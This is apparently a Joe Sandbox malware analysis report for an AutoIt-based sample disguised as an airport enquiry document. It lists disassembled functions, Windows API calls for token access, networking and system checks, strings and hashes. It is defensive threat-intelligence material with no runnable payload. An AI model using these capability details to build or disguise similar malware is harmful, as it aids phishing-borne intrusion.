Opcode ID: d4168a6444925f71077a518ef43015d4837095ade83a2f199b6caa6da1f4cf68
Instruction ID: 5141920c9387789b72e90731412de7a5491cf587d8dad7c492976fcbd538a9ca
Opcode Fuzzy Hash: d4168a6444925f71077a518ef43015d4837095ade83a2f199b6caa6da1f4cf68
Instruction Fuzzy Hash: 05E03932100344EADB215F68FC4D7D83B10EB05336F208366FA7D981E187714A90DB22

Function 00CD8C5A Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00CD8C63
OpenThreadToken.ADVAPI32(00000000,?,?,?,00CD882E), ref: 00CD8C6A
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00CD882E), ref: 00CD8C77
OpenProcessToken.ADVAPI32(00000000,?,?,?,00CD882E), ref: 00CD8C7E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: f3ff0e9d248c0e40ed3fe8747d382ab6ff4667c8868875800443a219e68900c9
Instruction ID: 41a3c1386f96d52d812c1bdeac346d10700723f20f5974d605edb7d407375a87
Opcode Fuzzy Hash: f3ff0e9d248c0e40ed3fe8747d382ab6ff4667c8868875800443a219e68900c9
Instruction Fuzzy Hash: 4CE08636642311DBD7309FB06D0CB567BBCEF50792F244828F249C9140DA348445CB71

Function 00CC2187 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00CC2187
GetDC.USER32(00000000), ref: 00CC2191
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CC21B1
ReleaseDC.USER32(?), ref: 00CC21D2

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 7a4b0fa4aa28787c753b3707cac1213482e9dd489987fa39304e2e114d78dbb3
Instruction ID: 51ac8558adca22dc05c61e59205fe3e906ba2bc0e5d727ba033b6d9048cba4d0
Opcode Fuzzy Hash: 7a4b0fa4aa28787c753b3707cac1213482e9dd489987fa39304e2e114d78dbb3
Instruction Fuzzy Hash: D7E01A75800704EFDB51AFA1C848BAD7BF1EB4C350F208429F95AD7720CB399541AF60

Function 00CC219B Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00CC219B
GetDC.USER32(00000000), ref: 00CC21A5
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CC21B1
ReleaseDC.USER32(?), ref: 00CC21D2

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: ddbbb29997ea2c6d839eb00f8a33d1a869285755cd1268feaed8e41f9ff1146a
Instruction ID: b001e419e6dfe8b2e43cc9ca87764ce574823eaf53c54c17504a50e245d15da3
Opcode Fuzzy Hash: ddbbb29997ea2c6d839eb00f8a33d1a869285755cd1268feaed8e41f9ff1146a
Instruction Fuzzy Hash: 2CE0EEB5800704AFCB61AFA0C8487AD7BA1EB4C310F208029F95AE7720CB399141AF60

Function 00CDB7B6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00CDB981

Strings

Container, xrefs: 00CDB8FE
AutoIt3GUI, xrefs: 00CDB8F9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 60da2722e94f5dfa8209be5bddd10b24b5629d8a32f126019dfd188574bcb7a0
Instruction ID: 3395c83f287f32b521cddebae0c2e9889f1d09c90c95c38d47c1e859fac22929
Opcode Fuzzy Hash: 60da2722e94f5dfa8209be5bddd10b24b5629d8a32f126019dfd188574bcb7a0
Instruction Fuzzy Hash: 39913970600601DFDB24DF65C894A6AB7E8BF49710F25856EEA4ACB791DB70ED40CB60

Function 00CEB217 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9FEC6: _wcscpy.LIBCMT ref: 00C9FEE9

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

__wcsnicmp.LIBCMT ref: 00CEB298
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00CEB361

Strings

LPT, xrefs: 00CEB292

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 7015c99bff6547353fb6b290194346b081c9eea5306fe00ef53f95a630c8e586
Instruction ID: 40e796dcb35ef533533d089450ee56aff0d7afc9e9c91768aaac357d67c99078
Opcode Fuzzy Hash: 7015c99bff6547353fb6b290194346b081c9eea5306fe00ef53f95a630c8e586
Instruction Fuzzy Hash: 9D618375A00215EFCB14EF95C886EBEB7B4EF08310F15406AF956AB3A1DB70AE40DB54

Function 00C92AB7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00C92AC8
GlobalMemoryStatusEx.KERNEL32(?), ref: 00C92AE1

Strings

@, xrefs: 00C92AD5

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 1916b5cf60752a700125b62952166b65ce476105a7c9b31412e4c855079070fb
Instruction ID: cfaf67bd3cb3daa817e837d48dcf444578f5778435ebfd7bd76e13d2a53293f5
Opcode Fuzzy Hash: 1916b5cf60752a700125b62952166b65ce476105a7c9b31412e4c855079070fb
Instruction Fuzzy Hash: A25157714187449BD320BF50D886BAFBBE8FF84318F56885DF1DA811A1DB308529DB2B

Function 00CE99BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00C8506B: __fread_nolock.LIBCMT ref: 00C85089

_wcscmp.LIBCMT ref: 00CE9AAE
_wcscmp.LIBCMT ref: 00CE9AC1

Strings

FILE, xrefs: 00CE99FA

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 451c4baf95529f3f1b1992cd9a18d1664513f2fccb00b275c1b8c4d40715234e
Instruction ID: 9c1ab5b5d602ed8748f0d78cba35731d7a88ed9db12d9f44b668f11c92c04ac6
Opcode Fuzzy Hash: 451c4baf95529f3f1b1992cd9a18d1664513f2fccb00b275c1b8c4d40715234e
Instruction Fuzzy Hash: 8841E372A0064ABADF20AAA5CC45FEFBBF9DF45714F000069B900E7181DBB5AE0497A5

Function 00CF2882 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CF2892
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00CF28C8

Strings

|, xrefs: 00CF2899

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 996e21ae076ae6216acc4ae470926106d303d4ca648b395f283e452db29bb13d
Instruction ID: a6e0293b3934e4251d32314f09366d1530949c6e12a8c18625c1370c035ff635
Opcode Fuzzy Hash: 996e21ae076ae6216acc4ae470926106d303d4ca648b395f283e452db29bb13d
Instruction Fuzzy Hash: 4F313071800219AFCF01EFA1DC85EEEBFB9FF08304F104125F915A61A5EB319A56DB61

Function 00D07CE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00D07DD0
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00D07DE5

Strings

', xrefs: 00D07D39

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: a41e0b7ebcd81bbf68342efbf37500a0cbe11ae8eed49ea47e07c5bba92215de
Instruction ID: 81abd5b614bf78b9c6f2bed4cf9e626251960204c8a115e20bc31919c60d80a7
Opcode Fuzzy Hash: a41e0b7ebcd81bbf68342efbf37500a0cbe11ae8eed49ea47e07c5bba92215de
Instruction Fuzzy Hash: EC41E274E0520ADFDB54CF68D891BEABBB5FF09300F14016AE909AB391D771A951CFA0

Function 00D06CD2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00D06D86
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00D06DC2

Strings

static, xrefs: 00D06D22

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 54a54a901912dc2419e67d53881ec365c9f8f80e8d2df46ff9c2b8bdec554a74
Instruction ID: afd25e50b6d51d195d957fc5d12f41095ca88af830b1bc040cf01f289ce61434
Opcode Fuzzy Hash: 54a54a901912dc2419e67d53881ec365c9f8f80e8d2df46ff9c2b8bdec554a74
Instruction Fuzzy Hash: 89315E71210604AEEB109F64CC80BFB77A9FF48724F148619F9AAD7190DA71EC91DB74

Function 00CE2D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE2E00
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00CE2E3B

Strings

0, xrefs: 00CE2DF9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 15562236ae607cd4ea64a8716ae663e0a966d0aae721d3e5e299d388957996a7
Instruction ID: ca6eb57f438e8310d113429e590853ee672663b29b662a5344ea53a0034b5b32
Opcode Fuzzy Hash: 15562236ae607cd4ea64a8716ae663e0a966d0aae721d3e5e299d388957996a7
Instruction Fuzzy Hash: C131F531A00395ABEB248F4ACC45BAEBBBDFF05351F180069E995A71A0E7709B40DB10

Function 00CF3CDD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00CF3D5A

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Strings

, $, xrefs: 00CF3D9A
AUTOITCALLVARIABLE%d, xrefs: 00CF3D4C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 3f3b42c61b02157a8ff1c47ee15f6d7651f7f51950e6e9aa15716ce6d7f42d73
Instruction ID: 93d2f11432746608e60564353ae36c9eae0f68d63ae69e5e96ac6f5a165e81c8
Opcode Fuzzy Hash: 3f3b42c61b02157a8ff1c47ee15f6d7651f7f51950e6e9aa15716ce6d7f42d73
Instruction Fuzzy Hash: BB219E31600219AFCF15EF64CC86AADB7A4FF44704F500498F905AB281EB70EA05EBB6

Function 00D06943 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D069D0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D069DB

Strings

Combobox, xrefs: 00D0699D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: ba3ce0555e8dbbd8227373160e32537946cd9610b33f4e1f07dd4c9b7843fb06
Instruction ID: f3332223a864b746c4010122dc08a00f0f3b77a4cd8b16595979d3d507cab1c4
Opcode Fuzzy Hash: ba3ce0555e8dbbd8227373160e32537946cd9610b33f4e1f07dd4c9b7843fb06
Instruction Fuzzy Hash: 7D11B2717002086FEF119F24DC80FAB376AEB893A4F154125F95C976D0D671DC618BB0

Function 00D06E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00C81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00C81D73
Part of subcall function 00C81D35: GetStockObject.GDI32(00000011), ref: 00C81D87
Part of subcall function 00C81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00C81D91

GetWindowRect.USER32(00000000,?), ref: 00D06EE0
GetSysColor.USER32(00000012), ref: 00D06EFA

Strings

static, xrefs: 00D06EBD

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2554323057c65fdbcba623d537ac75164ac39f8448592e562b988bc206b30232
Instruction ID: e39c0619bc1d26417c31688c0273d55dfaccfcf53f1d6f8b23a7b7e236f2a2db
Opcode Fuzzy Hash: 2554323057c65fdbcba623d537ac75164ac39f8448592e562b988bc206b30232
Instruction Fuzzy Hash: EF21597261020AAFDB04DFA8DC45AEA7BB8FB08314F144629FD59D3290E634E8619B60

Function 00D06B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00D06C11
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00D06C20

Strings

edit, xrefs: 00D06BF5

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 3136753b9c9561f2fc435abc19809e134016d614727d351ea418932334228efc
Instruction ID: 381a0f353207d23d5a3474e9abd1aa05a01799ad0b3f3566ec9888533cb17d7b
Opcode Fuzzy Hash: 3136753b9c9561f2fc435abc19809e134016d614727d351ea418932334228efc
Instruction Fuzzy Hash: 04116AB1500208ABEB209F64DC45BEB3BA9EB05378F644724F9A9D71E0C675DCA19B70

Function 00CE2E9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE2F11
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00CE2F30

Strings

0, xrefs: 00CE2F07

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 9e780d8135b7b9600eca6a75af9cfa20fce96b454109869ea62e089e7cad089f
Instruction ID: 48b5d55132fc713599519ddcd2da4c9ab6327b17d29ed13e8a658f400dfda559
Opcode Fuzzy Hash: 9e780d8135b7b9600eca6a75af9cfa20fce96b454109869ea62e089e7cad089f
Instruction Fuzzy Hash: 9011B2319012F4ABDB24DF9ADC45B9D77BDEB06314F1800A5E865E72A0D7B0EE04C7A9

Function 00CF24CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00CF2520
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00CF2549

Strings

<local>, xrefs: 00CF2511

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 5e52bc6696abda9c4f197c328df8684a679901386a849cc315060f15240bb11e
Instruction ID: 1597d068fce9bbfaf48619dc9056e5b13150526d71230d4f69322b95ec5a82e2
Opcode Fuzzy Hash: 5e52bc6696abda9c4f197c328df8684a679901386a849cc315060f15240bb11e
Instruction Fuzzy Hash: 0711C6B0541229BEDB648F528C95EFBFF68FF05751F10812AF61586140D2705A45D6F2

Function 00CF80A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF830B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00CF80C8,?,00000000,?,?), ref: 00CF8322

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00CF80CB
htons.WSOCK32(00000000,?,00000000), ref: 00CF8108

Strings

255.255.255.255, xrefs: 00CF80E3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
